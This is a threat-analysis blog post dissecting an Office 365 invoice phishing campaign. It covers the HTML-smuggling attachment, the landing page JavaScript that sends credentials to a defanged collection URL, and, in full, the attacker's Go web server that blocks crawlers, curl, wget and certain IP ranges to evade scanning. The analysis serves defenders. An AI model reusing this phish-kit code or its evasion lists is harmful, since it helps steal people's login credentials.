Spammers, Golang and More
During routine monitoring of my emails, I noticed an interesting spam email posing to be the usual Microsoft O365 style phish. In this instance, the pretext was that we had an invoice and needed to sign in to view it. The more interesting part is how some of the technical side of the phish worked.
During routine monitoring of my emails, I noticed an interesting spam email posing to be the usual Microsoft O365 style phish. In this instance, the pretext was that we had an invoice and needed to sign in to view it. The more interesting part is how some of the technical side of the phish worked.
Phishing Files
Following the common trend of html smuggling, the actor sent us a blank email with an HTML attachment. The HTML attachmet takes our email address as a parameter to be rendered in the page DOM. The site hosting the phish is cp9aim3evr4lndtwakr72x[.]goldmanmeds[.]com
.
As you can probably see, the phish is being hosted on a non-standard port, 2087. More on this in just a bit.
HTML Attachement Analysis
The screenshot above is ultimately what the HTML attachment loads, but let's take a step back and see what's actually going on. We are "researchers" after all. We can see that the title is "Microsoft 365 | Billing". A bit simple for me, but hey, simple works.
Scrolling down to the main part of the content, we can see that the HTML follows a very common phishing pattern where a HTTP parameter is used to pre-populate the DOM with a target's email.
Specifically this section:
Once the the DOM is populated with the document.getElementById("content").innerHTML
call, we're redirected to the phish landing page.
Inspecting the Landing Page
When we loaded the landing page, we can actually see that the developers left comments in the HTML to explain how it works. Bonus points for code comments.
For those that may be unable to see everything in the image, here is the JavaScript with comments:
document.addEventListener('DOMContentLoaded', function() {
// Get the current URL
var url = new URL(window.location.href);
// Get the 'impact' parameter from the URL
var impactValue = url.searchParams.get('username');
// Find the input field by ID
var inputField = document.getElementById('usrn');
// If the impact value is found, replace the input field's value with it
if (impactValue) {
inputField.value = impactValue;
}
});
What would a phishing page be without obfuscated JavaScript so we can't actually figure out what's going on...
But fret not, they used free stuff that's easily deobfuscated.
For those that aren't super familiar with JavaScript, the code is doing the following:
-
Preventing Default Behavior:
- The function
submitForm
starts by preventing the default behavior of the form submission. This means that when the button is clicked, the form will not be submitted in the traditional way (i.e., reloading the page).
- The function
-
Getting Form Elements:
- The function retrieves the username and password input fields from the form.
-
Attempt Counter:
- The code keeps track of how many times the form submission has been attempted using a variable called
tryCount
.
- The code keeps track of how many times the form submission has been attempted using a variable called
-
Sending Data:
- If the number of attempts is 4 or less, the function creates a new request to send the form data to a specific URL.
- The data is sent in a format that the server expects.
-
Handling the Response:
- The function waits for the server to respond.
- If the server responds successfully (status 200), it does nothing specific in this code snippet.
- If the server response is not successful, it also does nothing specific in this code snippet.
- After each attempt, the
tryCount
is incremented.
-
Too Many Attempts:
- If the number of attempts exceeds 4, it alerts the user to check their internet connection and redirects them to the top of the page.
-
Clearing the Password:
- After attempting to send the data, the password field is cleared.
-
Event Listener:
- The function is linked to the "Continue" button so that it runs when the button is clicked.
In this case, the data is being sent within the usrn
and psrd
parameters to hxxps://grandcars[.]net/app/exl0.php
. Or, as a full usrl: hxxps://grandcars[.]net/app/exl0.php?usrn=victim%40email.com&psrd=password
.
Sadly, we don't get a glimpse into what server does once it receives a username and password. One can assume that the credentials are likely then sent over something like Telegram, email, or other such communication medium.
Deployable Landing Pages
When checking out the landing page, I found that directory indexing was left enabled. After all, configuring web servers is hard.
Sadly, we were unable to download some of the "fun" files, like .bash_history
. We see what is likely the private key and public key for the SSL certificate, however, we see main.go
on the server. The inclusion of the go linux tar tells us that main.go is likely running. But, what's actually in it?
Interstingly enough, they are using go to run a portible web server to serve content rather than spining up an Apache or NGINX server. Nor did they leverage just uploading content to an already-compromised-site directory.
There are also several user agents that are being monitored for in order to restrict crawling:
Again, outstanding use of code comments. Consistent with many other phish kits, this also blocks a handful of IP ranges:
We also see the section where the HTTPS server is configured with the non-standard port I mentioned in the beginning of this post:
fmt.Println("Server started at https://localhost:2087")
if err := http.ListenAndServeTLS(":2087", "domain.pem", "domain.key", nil); err != nil {
log.Fatalf("Failed to start server: %v", err)
}
It's interesting seeing the use go for deploying a web server, but I guess it's a smaller footprint and significantly more portable. I'll add the full code to the bottom of this post :)
While this phish isn't anything particularly advanced, it's fascinating to see the use of go for serving resources rather than a traditional http server. I'm curious if anyone else has come across such usage.
Full Go Code
package main
import (
"fmt"
"log"
"net"
"net/http"
"os"
"strings"
"time"
)
func main() {
// Serve files from the /root/aflaton directory
fs := http.FileServer(http.Dir("/root/aflaton"))
// IP blocking middleware
blockIPs := func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
clientIP := getClientIP(r)
if isBlockedIP(clientIP) {
http.Error(w, "Access denied", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
// Bot blocking middleware
blockBots := func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userAgent := r.Header.Get("User-Agent")
if isBot(userAgent) {
http.Error(w, "Bots are not allowed", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
// Custom logging middleware to log request details
logRequest := func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
start := time.Now()
clientIP := getClientIP(r)
next.ServeHTTP(w, r)
log.Printf(
"%s %s %s %s %s",
clientIP,
r.Method,
r.RequestURI,
r.UserAgent(),
time.Since(start),
)
})
}
// Combine middlewares and file server handler
handler := blockIPs(blockBots(logRequest(fs)))
// Serve index.html for the root URL
http.Handle("/", handler)
http.HandleFunc("/impact", serveImpact)
// Configure the HTTPS server
fmt.Println("Server started at https://localhost:2087")
if err := http.ListenAndServeTLS(":2087", "domain.pem", "domain.key", nil); err != nil {
log.Fatalf("Failed to start server: %v", err)
}
}
// serveImpact sets a cookie with the email ID and redirects to the root URL
func serveImpact(w http.ResponseWriter, r *http.Request) {
emailID := r.URL.Query().Get("impact")
if emailID == "" {
http.Error(w, "Email ID not provided", http.StatusBadRequest)
return
}
// Read the content from codehtml.txt
content, err := os.ReadFile("/root/aflaton/codehtml.txt")
if err != nil {
http.Error(w, "Failed to read file", http.StatusInternalServerError)
log.Fatalf("Failed to read file: %v", err)
return
}
// Replace the placeholder with the email address
replacedContent := strings.ReplaceAll(string(content), "EMailID", emailID)
w.Header().Set("Content-Type", "text/html")
fmt.Fprint(w, replacedContent)
}
// isBot checks if the User-Agent belongs to a bot
func isBot(userAgent string) bool {
botList := []string{
"bot", "crawler", "spider", "curl", "wget", "scrapy",
"facebookexternalhit", "bingbot", "Googlebot", "Yahoo! Slurp",
"DuckDuckBot", "Baiduspider", "YandexBot", "Sogou", "msnbot",
"Applebot", "LinkedInBot", "PetalBot", "SemrushBot", "AhrefsBot",
"MJ12bot", "rogerbot", "dotbot", "BLEXBot",
}
userAgent = strings.ToLower(userAgent)
for _, bot := range botList {
if strings.Contains(userAgent, bot) {
return true
}
}
return false
}
// getClientIP extracts the client IP address from the request headers
func getClientIP(r *http.Request) string {
// Check Cloudflare headers first
if ip := r.Header.Get("CF-Connecting-IP"); ip != "" {
return ip
}
// Check X-Forwarded-For header
if ips := r.Header.Get("X-Forwarded-For"); ips != "" {
ipList := strings.Split(ips, ",")
return strings.TrimSpace(ipList[0])
}
// Fallback to remote address
ip := r.RemoteAddr
if idx := strings.LastIndex(ip, ":"); idx != -1 {
ip = ip[:idx]
}
return ip
}
// isBlockedIP checks if the client IP is within the blocked ranges
func isBlockedIP(ipStr string) bool {
blockedRanges := []string{
"20.0.0.0/8",
"40.0.0.0/8",
}
ip := net.ParseIP(ipStr)
if ip == nil {
return false
}
for _, cidr := range blockedRanges {
_, network, err := net.ParseCIDR(cidr)
if err != nil {
log.Printf("Error parsing CIDR %s: %v", cidr, err)
continue
}
if network.Contains(ip) {
return true
}
}
return false
}